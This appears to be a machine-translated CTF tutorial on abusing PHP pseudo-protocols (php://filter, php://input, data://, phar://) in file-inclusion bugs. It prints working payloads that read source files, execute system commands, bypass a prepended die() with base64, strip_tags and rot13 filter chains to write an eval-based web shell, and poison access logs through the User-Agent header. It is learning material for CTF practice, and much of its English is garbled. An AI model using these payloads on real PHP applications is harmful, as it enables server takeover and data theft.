The use of pseudo protocols contained in the document has not been sorted out. Today, let's use this article to sort out the solutions of pseudo protocols

Pseudo protocol:

First of all:/ Difference from... /:
. / Yes: current directory
... / is the parent directory

fillter and file are used to read the file source code

filter protocol is mostly used to read the source code, and the reading path is a relative path, which is relatively easy. Generally used to read index PHP source code

?file=php://filter/read=convert.base64-encode/resource=./flag.php
 Here, php You can capitalize here

For example:

Use filter to read the source code to facilitate our next step
file agreement:

?file=file://+Absolute path

Because this is an absolute path, it is not as easy to use as filer, and I haven't encountered the use of this protocol when doing questions

data and php://input Protocol utilization

php://input

php://Input can access the read-only stream of the requested raw data and execute the requested data as PHP code. When the passed in parameter is opened as a file name, you can set the parameter to php://input At the same time, for the file content that post wants to set, PHP will treat the post content as the file content during execution.
Note: when enctype="multipart/form-data"When, php://input is invalid.

There is a place to interpret this passage carefully: when the incoming parameter is opened as a file name, you can say that the parameter is set to... And the POST content will be executed as the file content during PHP execution, which is very consistent with the functions of our include and other file containing classes
Several playload s are given

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
//(<?phpsystem(cat ./flag.php);

data: text/plain,<?php content of execution ?>

data: / /, and php://input The agreement is very similar

?file=php://input
post:<?php system("cat ./flag.php");?>

Find a topic to practice:
It is worth noting that the content of POST is executed as file content, so the commands should still be written in php language
Similarly, let's look at the DATA protocol:

It can still be typed

zip: / / and phar://

These two protocols are decompression package protocols, which are usually used in conjunction with file upload:
For example, if you encounter a forced suffix such as include($file. 'txt'), you can upload a PNG or JPG whitelist and open it through phar decompression
For example:

?file=phar://uploads/1.png/1.txt  1.txt is our sentence

Here we can remove the suffix txt, because the source code will be spliced for us
Unlike zip: / /, phar: / / requires an absolute path

filter bypasses death die

base64 bypass

The knowledge points about these two places were learned in P God. The article is in here
Let's first look at the source code:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('Big man, stop showing');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

You can see a file_put_contents function, then it should be written 🐎. I thought about including log files before here, but because u can be in <? PHP die ('Big man, stop showing ');? >, And it's in the first sentence, so even if it includes writing 🐎 For the log file of, die will be executed first, and then look. After a lot of things, many pseudo protocols cannot be used, but the filter protocol is left, so start with the filter.
The principle here is through the difference of encoding and decoding:
filer protocol can encode and output the source file, then it can also decode the output
What we need is write permission to the file, so the playload is different:

php://filter/write=convert.base64-decode/resource=123.php / / note that this is the write permission, so use write
//And here is the base64 decoded file written in

Here comes the key point. The difference of base64 decoding:
base64 is divided into two steps: first, find out the recognizable strings, and then encode or decode them in groups of four
Identification: the $content we passed in is a sentence Trojan horse after base64, and <? PHP die ('Big man, stop showing ');? > base64 cannot recognize some characters, such as Chinese? () when base decode, it will automatically skip when encountering unrecognized characters, so

<?php die('Big man, stop showing');?> //The characters recognized by decode are only phpdie 

Decoding: because 4 bytes are a group during decoding, we need to manually add two letters to meet the 4 bytes: aa
Then, content is passed into our normal base encode 🐎
I'm too lazy to open the environment. Pay attention to the pictures of other authors to see:

Ant sword direct link / 123 PHP is OK

strip_tags bypass

strip_tags remove the tag, which is explained clearly in the P God article,
Borrow the pictures in the P God article:
playload:php://filter/read=string.strip_tags/resource=php://input
It can be seen that the label and its contents have been removed, so if we use this method here, it will pass us in 🐎 The label will also be removed. Is there any way not to remove it? Since this is still the filter protocol, continue to decode with base64! The php tag content here is directly removed, and there is no decoding difference with this one!
Directly on the playload:

playload:php://filter/read=string.strip_tags|convert.base64-decode/resource=shell.php
POST:  content=PD9waHAgZXZhbCgkX1tQT1NUXSk7Pz4=  (In a word, the symbol behind the Trojan horse is just a filling symbol. It depends on your mood)

ROT3 code

ROT13 code means to shift the letter 13 bits to the left. Such as' A ' ↔ ‘ N’, ‘B’ ↔ ‘ O’，‘V’ ↔ ‘ I’.
Then die will change. If the PHP environment does not open the segment tag, there will be no error report
It is precisely because ROT13 moves all letters to the left, so the string we pass in needs to be deformed
The <? php phpinfo()?> == <? cuc cucvasb()?>
playload

php://filter/read=string.rot13|convert.base64-decode/resource=shell.php

Use the picture of God P:
About rot13payload:

GET
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2562%252e%2570%2568%2570
//file=php://filter/read=string.rot13/resource=b.php
POST
content=<?cuc riny($_CBFG[1]);
//content=<?php eval($_POST[1]);

Finally, here is the reason why the secondary coding is needed:
Because there is URL decode in the source code, and the server itself has to decode automatically once, so there are two times in total. It is transmitted by BP. However, it is reasonable that after three times of coding, there should be no big problem in Hacker transmission. If you are interested, try it yourself.

Include log files

The most common log file address:

/var/log/nginx/access.log

Filtered protocols:
Because the file contains the include function, we can include the log file and then link it
The log file mainly records our UA information, so we can capture the package and modify it into one sentence, and then the log contains the ant sword link
Look at a question:
Source code:

<?php  include($_GET['url']);?>  //Various protocols are filtered

Next, modify the UA header to inject a sentence into the log file
Visit the log file to see what it looks like

Of course, we can also execute the command directly through the log file:
ls lists the current directory
Although it can be executed directly, it is recommended to write a sentence about Trojan horse links to get twice the result with half the effort